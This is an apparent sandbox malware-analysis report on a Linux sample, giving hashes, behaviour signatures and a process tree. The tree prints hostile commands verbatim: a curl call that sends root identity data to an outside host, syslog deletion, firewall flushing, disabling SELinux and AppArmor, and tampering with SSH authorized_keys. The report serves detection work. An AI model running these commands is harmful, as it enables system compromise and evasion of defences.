Analysis
-
max time kernel
150s -
max time network
136s -
platform
debian-9_mips -
resource
debian9-mipsbe-20240226-en -
resource tags
arch:mipsimage:debian9-mipsbe-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem -
submitted
07-03-2024 08:39
Behavioral task
behavioral1
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
b84ec8d2286ecb64f4164633be39421b
Resource
debian9-mipsel-20240226-en
General
-
Target
b84ec8d2286ecb64f4164633be39421b
-
Size
60KB
-
MD5
b84ec8d2286ecb64f4164633be39421b
-
SHA1
7b09fb48eefb27acadf53aed331a24211ce78a72
-
SHA256
71b478d4ad418cfb6ec620ea213a3f5c6a64bd34f23d8f43de81df01465bcbad
-
SHA512
f31cbcf9b8a6e935f8ca8341aac462c059a1c08ddeba4986fbd7d2224917bdbaad21d1fb0dfb437b9385998c74e856c36387e7785018f4bea8cc4a217ce87844
-
SSDEEP
1536:/F2cc2/ndOQvL0KKGdAkKFOmm5air0TI9:/F2ccQh2v47ccyI9
Malware Config
Signatures
-
Executes dropped EXE 1 IoCs
ioc pid Process /usr/bin/tntrecht 2397 Process not Found -
Flushes firewall rules 1 IoCs
Flushes/ disables firewall rules inside the Linux kernel.
pid Process 771 iptables -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
description ioc Process File opened for modification /etc/resolv.conf b84ec8d2286ecb64f4164633be39421b -
Attempts to change immutable files 64 IoCs
Modifies inode attributes on the filesystem to allow changing of immutable files.
pid Process 1675 xargs 1983 Process not Found 1112 xargs 1464 xargs 1729 xargs 1992 Process not Found 2300 Process not Found 905 xargs 1487 xargs 1647 xargs 1713 xargs 2135 Process not Found 1975 Process not Found 1995 Process not Found 2143 Process not Found 1089 xargs 1237 xargs 1350 xargs 1434 xargs 1683 xargs 1284 xargs 1304 xargs 1440 xargs 1663 xargs 1681 xargs 1994 Process not Found 1182 xargs 1423 xargs 1470 xargs 1556 xargs 1566 xargs 767 chattr 1687 xargs 1693 xargs 2046 Process not Found 1102 xargs 1691 xargs 1986 Process not Found 2018 Process not Found 2058 Process not Found 1993 Process not Found 2066 Process not Found 2298 Process not Found 825 chattr 1019 xargs 1117 xargs 1361 xargs 1743 xargs 1309 xargs 1671 xargs 1717 xargs 2010 Process not Found 2050 Process not Found 942 xargs 1152 xargs 1529 xargs 1576 xargs 2026 Process not Found 833 grep 1711 xargs 2054 Process not Found 2296 Process not Found 2316 Process not Found 1679 xargs -
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/crontab Process not Found -
Disables AppArmor 64 IoCs
Disables AppArmor security module.
pid Process 842 systemctl 868 systemctl 873 systemctl 2118 Process not Found 2119 Process not Found 2124 Process not Found 2340 Process not Found 842 systemctl 871 systemctl 882 systemctl 2102 Process not Found 2103 Process not Found 2091 Process not Found 2107 Process not Found 2127 Process not Found 2111 Process not Found 877 systemctl 2096 Process not Found 2091 Process not Found 842 systemctl 863 systemctl 863 systemctl 2109 Process not Found 2121 Process not Found 2125 Process not Found 2111 Process not Found 2111 Process not Found 842 systemctl 2114 Process not Found 2120 Process not Found 842 systemctl 2098 Process not Found 2101 Process not Found 2105 Process not Found 2111 Process not Found 874 systemctl 863 systemctl 2123 Process not Found 2128 Process not Found 2130 Process not Found 875 systemctl 878 systemctl 2129 Process not Found 876 systemctl 863 systemctl 863 systemctl 2091 Process not Found 2091 Process not Found 881 systemctl 842 systemctl 866 systemctl 879 systemctl 863 systemctl 2100 Process not Found 2108 Process not Found 2110 Process not Found 862 systemctl 870 systemctl 880 systemctl 2091 Process not Found 2091 Process not Found 2116 Process not Found 2111 Process not Found 2104 Process not Found -
Disables SELinux 10 IoCs
Disables SELinux security module.
pid Process 841 setenforce 1160 grep 1594 grep 1009 kill 1009 kill 1009 kill 1272 grep 1009 kill 1009 kill 1009 kill -
Enumerates running processes
Discovers information about currently running processes on the system
-
Reads CPU attributes 1 TTPs 64 IoCs
description ioc Process File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online kill File opened for reading /sys/devices/system/cpu/online exim4 File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pgrep File opened for reading /sys/devices/system/cpu/online pkill File opened for reading /sys/devices/system/cpu/online ps File opened for reading /sys/devices/system/cpu/online pkill -
Write file to user bin folder 1 TTPs 1 IoCs
description ioc Process File opened for modification /usr/bin/tntrecht Process not Found -
Enumerates kernel/hardware configuration 1 TTPs 64 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus systemctl File opened for reading /sys/fs/kdbus/0-system/bus Process not Found File opened for reading /sys/fs/kdbus/0-system/bus Process not Found -
Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
description ioc Process File opened for reading /proc/14/status ps File opened for reading /proc/431/cmdline ps File opened for reading /proc/686/cmdline pgrep File opened for reading /proc/14/cmdline pgrep File opened for reading /proc/22/status pkill File opened for reading /proc/2/stat ps File opened for reading /proc/tty/drivers ps File opened for reading /proc/382/stat ps File opened for reading /proc/21/cmdline ps File opened for reading /proc/3/cmdline pgrep File opened for reading /proc/73/status pkill File opened for reading /proc/249/status pkill File opened for reading /proc/17/cmdline pkill File opened for reading /proc/5/cmdline pkill File opened for reading /proc/6/status pkill File opened for reading /proc/82/status pkill File opened for reading /proc/12/status pkill File opened for reading /proc/74/cmdline ps File opened for reading /proc/19/stat ps File opened for reading /proc/79/status ps File opened for reading /proc/3/cmdline ps File opened for reading /proc/1704/status pgrep File opened for reading /proc/10/cmdline pkill File opened for reading /proc/685/cmdline pkill File opened for reading /proc/1135/cmdline ps File opened for reading /proc/15/status ps File opened for reading /proc/sys/kernel/pid_max ps File opened for reading /proc/339/cmdline ps File opened for reading /proc/383/status ps File opened for reading /proc/23/stat Process not Found File opened for reading /proc/69/status ps File opened for reading /proc/679/stat ps File opened for reading /proc/23/status pgrep File opened for reading /proc/685/cmdline pkill File opened for reading /proc/2/status pkill File opened for reading /proc/79/status pkill File opened for reading /proc/68/status pkill File opened for reading /proc/385/status ps File opened for reading /proc/7/cmdline pgrep File opened for reading /proc/1425/stat ps File opened for reading /proc/17/status ps File opened for reading /proc/125/cmdline ps File opened for reading /proc/686/status pgrep File opened for reading /proc/filesystems pkill File opened for reading /proc/5/status pkill File opened for reading /proc/342/cmdline pkill File opened for reading /proc/22/status pkill File opened for reading /proc/385/status ps File opened for reading /proc/708/status ps File opened for reading /proc/7/stat ps File opened for reading /proc/708/status ps File opened for reading /proc/708/cmdline ps File opened for reading /proc/81/stat ps File opened for reading /proc/160/stat ps File opened for reading /proc/20/status pgrep File opened for reading /proc/160/cmdline pgrep File opened for reading /proc/4/cmdline pkill File opened for reading /proc/20/status pkill File opened for reading /proc/15/cmdline pkill File opened for reading /proc/332/stat ps File opened for reading /proc/3/stat ps File opened for reading /proc/5/cmdline ps File opened for reading /proc/9/cmdline pgrep File opened for reading /proc/69/cmdline pkill -
Writes file to tmp directory 7 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/svcguard b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/svcworkmanager b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/svcupdates b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/kdevtmpfsi b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/redis2 b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/newsvc.sh b84ec8d2286ecb64f4164633be39421b File opened for modification /tmp/svcupdate b84ec8d2286ecb64f4164633be39421b
Processes
-
/tmp/b84ec8d2286ecb64f4164633be39421b/tmp/b84ec8d2286ecb64f4164633be39421b1⤵
- Writes DNS configuration
- Writes file to tmp directory
PID:708 -
/usr/bin/idid2⤵PID:710
-
-
/usr/bin/curlcurl "http://oracle.zzhreceive.top/b2f628/idcheck/uid=0(root) gid=0(root) groups=0(root)"2⤵PID:713
-
-
/bin/mkdirmkdir /var/tmp/.system -p2⤵PID:764
-
-
/bin/rmrm -rf /var/log/syslog2⤵PID:766
-
-
/usr/bin/chattrchattr -iua /tmp/2⤵
- Attempts to change immutable files
PID:767
-
-
/usr/bin/chattrchattr -iua /var/tmp/2⤵PID:768
-
-
/sbin/iptablesiptables -F2⤵
- Flushes firewall rules
PID:771
-
-
/usr/bin/sudosudo sysctl "kernel.nmi_watchdog=0"2⤵PID:775
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"3⤵PID:823
-
-
-
/sbin/sysctlsysctl "kernel.nmi_watchdog=0"2⤵PID:824
-
-
/usr/bin/chattrchattr -iae /root/.ssh/2⤵
- Attempts to change immutable files
PID:825
-
-
/usr/bin/chattrchattr -iae /root/.ssh/authorized_keys2⤵PID:827
-
-
/bin/rmrm -rf "/tmp/addres*"2⤵PID:829
-
-
/bin/rmrm -rf "/tmp/walle*"2⤵PID:830
-
-
/bin/rmrm -rf /tmp/keys2⤵PID:831
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:832
-
-
/bin/grepgrep -i "[a]liyun"2⤵
- Attempts to change immutable files
PID:833
-
-
/bin/grepgrep -i "[y]unjing"2⤵PID:838
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:837
-
-
/usr/sbin/setenforcesetenforce 02⤵
- Disables SELinux
PID:841
-
-
/usr/sbin/serviceservice apparmor stop2⤵PID:842
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:844
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:845
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Enumerates kernel/hardware configuration
PID:846
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Enumerates kernel/hardware configuration
PID:850
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Enumerates kernel/hardware configuration
PID:851
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:852
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Enumerates kernel/hardware configuration
PID:853
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Enumerates kernel/hardware configuration
PID:854
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Enumerates kernel/hardware configuration
PID:855
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Enumerates kernel/hardware configuration
PID:856
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Enumerates kernel/hardware configuration
PID:857
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Enumerates kernel/hardware configuration
PID:858
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Enumerates kernel/hardware configuration
PID:859
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Enumerates kernel/hardware configuration
PID:860
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Enumerates kernel/hardware configuration
PID:861
-
-
-
/usr/local/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:842
-
-
/usr/local/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:842
-
-
/usr/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:842
-
-
/usr/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:842
-
-
/sbin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
PID:842
-
-
/bin/systemctlsystemctl stop apparmor.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:842
-
-
/bin/systemctlsystemctl disable apparmor2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:862
-
-
/usr/sbin/serviceservice aliyun.service stop2⤵PID:863
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:864
-
-
/usr/bin/basenamebasename /usr/sbin/service3⤵PID:865
-
-
/bin/systemctlsystemctl --quiet is-active multi-user.target3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:866
-
-
/bin/systemctlsystemctl -p Triggers show dbus.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:870
-
-
/bin/systemctlsystemctl -p Triggers show ssh.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:871
-
-
/bin/systemctlsystemctl -p Triggers show syslog.socket3⤵
- Enumerates kernel/hardware configuration
PID:872
-
-
/bin/systemctlsystemctl -p Triggers show systemd-fsckd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:873
-
-
/bin/systemctlsystemctl -p Triggers show systemd-initctl.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:874
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-audit.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:875
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald-dev-log.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:876
-
-
/bin/systemctlsystemctl -p Triggers show systemd-journald.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:877
-
-
/bin/systemctlsystemctl -p Triggers show systemd-networkd.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:878
-
-
/bin/systemctlsystemctl -p Triggers show systemd-rfkill.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:879
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-control.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:880
-
-
/bin/systemctlsystemctl -p Triggers show systemd-udevd-kernel.socket3⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:881
-
-
-
/usr/local/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:863
-
-
/usr/local/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:863
-
-
/usr/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:863
-
-
/usr/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:863
-
-
/sbin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
PID:863
-
-
/bin/systemctlsystemctl stop aliyun.service.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:863
-
-
/bin/systemctlsystemctl disable aliyun.service2⤵
- Disables AppArmor
- Enumerates kernel/hardware configuration
PID:882
-
-
/bin/grepgrep 185.71.65.2382⤵PID:884
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:885
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:886
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:887
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:891
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:890
-
-
/bin/grepgrep 140.82.52.872⤵PID:889
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:892
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:897
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:896
-
-
/bin/grepgrep :4432⤵PID:895
-
-
/bin/grepgrep -v -2⤵PID:898
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:899
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:903
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:902
-
-
/bin/grepgrep -v -2⤵PID:904
-
-
/bin/grepgrep :232⤵PID:901
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:905
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:908
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:909
-
-
/bin/grepgrep -v -2⤵PID:910
-
-
/bin/grepgrep :4432⤵PID:907
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:911
-
-
/bin/grepgrep -v -2⤵PID:916
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:915
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:914
-
-
/bin/grepgrep :1432⤵PID:913
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:917
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:922
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:921
-
-
/bin/grepgrep -v -2⤵PID:923
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:924
-
-
/bin/grepgrep :22222⤵PID:920
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:928
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:927
-
-
/bin/grepgrep -v -2⤵PID:929
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:930
-
-
/bin/grepgrep :33332⤵PID:926
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:934
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:933
-
-
/bin/grepgrep -v -2⤵PID:935
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:936
-
-
/bin/grepgrep :33892⤵PID:932
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:940
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:939
-
-
/bin/grepgrep -v -2⤵PID:941
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:942
-
-
/bin/grepgrep :55552⤵PID:938
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:946
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:945
-
-
/bin/grepgrep -v -2⤵PID:947
-
-
/bin/grepgrep :66662⤵PID:944
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:948
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:952
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:951
-
-
/bin/grepgrep -v -2⤵PID:953
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:954
-
-
/bin/grepgrep :66652⤵PID:950
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:958
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:957
-
-
/bin/grepgrep -v -2⤵PID:959
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:960
-
-
/bin/grepgrep :66672⤵PID:956
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:964
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:963
-
-
/bin/grepgrep -v -2⤵PID:965
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:966
-
-
/bin/grepgrep :77772⤵PID:962
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:970
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:969
-
-
/bin/grepgrep -v -2⤵PID:971
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:972
-
-
/bin/grepgrep :84442⤵PID:968
-
-
/usr/bin/awkawk "-F[/]" "{print \$1}"2⤵PID:976
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:975
-
-
/bin/grepgrep -v -2⤵PID:977
-
-
/bin/grepgrep :33472⤵PID:974
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:978
-
-
/bin/grepgrep :33332⤵PID:981
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:982
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:983
-
-
/bin/grepgrep -v grep2⤵PID:980
-
-
/bin/psps aux2⤵PID:979
-
-
/bin/grepgrep :55552⤵PID:986
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:987
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:988
-
-
/bin/grepgrep -v grep2⤵PID:985
-
-
/bin/psps aux2⤵PID:984
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:992
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:993
-
-
/bin/grepgrep "kworker -c\\"2⤵PID:991
-
-
/bin/grepgrep -v grep2⤵PID:990
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:989
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:997
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:998
-
-
/bin/grepgrep log_2⤵PID:996
-
-
/bin/grepgrep -v grep2⤵PID:995
-
-
/bin/psps aux2⤵PID:994
-
-
/bin/grepgrep systemten2⤵PID:1001
-
-
/bin/psps aux2⤵PID:999
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1002
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1003
-
-
/bin/grepgrep -v grep2⤵PID:1000
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1007
-
-
/bin/grepgrep netns2⤵PID:1006
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1008
-
/usr/local/sbin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
/usr/local/bin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
/usr/sbin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
/usr/bin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
/sbin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
/bin/killkill -9 103⤵
- Disables SELinux
PID:1009
-
-
-
/bin/grepgrep -v grep2⤵PID:1005
-
-
/bin/psps aux2⤵PID:1004
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1013
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1014
-
-
/bin/grepgrep voltuned2⤵PID:1012
-
-
/bin/grepgrep -v grep2⤵PID:1011
-
-
/bin/psps aux2⤵PID:1010
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1018
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1019
-
-
/bin/grepgrep darwin2⤵PID:1017
-
-
/bin/grepgrep -v grep2⤵PID:1016
-
-
/bin/psps aux2⤵PID:1015
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1023
-
-
/bin/grepgrep /tmp/dl2⤵PID:1022
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1024
-
-
/bin/grepgrep -v grep2⤵PID:1021
-
-
/bin/psps aux2⤵PID:1020
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1028
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1029
-
-
/bin/grepgrep /tmp/ddg2⤵PID:1027
-
-
/bin/grepgrep -v grep2⤵PID:1026
-
-
/bin/psps aux2⤵PID:1025
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1033
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1034
-
-
/bin/grepgrep /tmp/pprt2⤵PID:1032
-
-
/bin/grepgrep -v grep2⤵PID:1031
-
-
/bin/psps aux2⤵PID:1030
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1038
-
-
